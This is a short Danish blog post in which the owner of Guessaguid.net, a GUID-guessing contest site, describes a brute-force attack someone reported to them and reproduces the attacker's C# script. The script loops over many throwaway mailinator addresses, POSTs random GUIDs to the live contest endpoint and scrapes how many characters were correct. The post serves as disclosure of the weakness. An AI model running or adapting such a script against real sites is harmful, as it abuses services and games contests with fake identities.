Guessaguid.net er blevet hacket…hvordan er det blevet gjort ?

Jeg fik en besked på Messenger igår eftermiddags, en besked af en Jakob Andersen hvor han, flink som han er, meget sødt fortæller mig at han har lavet et angreb på mit elskede projekt Guessaguid.net! Og ikke nok med det, så sender han mig sørme også koden der muliggjorde angrebet.

Jeg var lammet, chokeret, grædefærdig og meget ked af det! Men så gik det op for mig, at jeg havde været heldig og jeg stadig havde mulighed for at rette op på fejlen (det har jeg dog ikke gjort endnu).

Men jeg synes alligevel jeg vil dele Jakobs kode med jer, for selvom det ikke er alverden, så viser det hvor pokkers nemt det er at lave et bruteforce angreb på et site – især hvis sitet udelukkede bliver brugt af udviklere. Dooooh!!!

 class Program
    {
        static void Main(string[] args)
        {
            FileStream fs = File.Create("c:\\testdata\\guids.csv");
            StreamWriter sw = new StreamWriter(fs);
            for (int i = 1000; i < 2000; i++)
            {
                Guid g = Guid.NewGuid();
                string RightCharsRegEx = "color:Lime;\">\\s*([0-9]*)</span>";
                WebClient wc = new WebClient();
                wc.Encoding = Encoding.ASCII;
                var values = new System.Collections.Specialized.NameValueCollection();
                values.Add("field1", "guessaguid" + i + "@mailinator.com");
                values.Add("field2", "2"); //Konkurrence identifier
                values.Add("field3", g.ToString());
                byte[] ret = wc.UploadValues("https://guessaguid.net/Home/Index", "POST", values);
                string response = Encoding.UTF8.GetString(ret);
                var regex = new Regex(RightCharsRegEx, RegexOptions.Multiline);
                Match m = regex.Match(response);
                if (m.Success){
                    string correct = m.Groups[1].Captures[0].Value;
                    sw.WriteLine(correct + " " + g);
                    sw.Flush();
                }else{
                    Console.WriteLine("Error getting num chars!");
                }
            }
            sw.Close();
            fs.Close();
        }
    }

 

hacker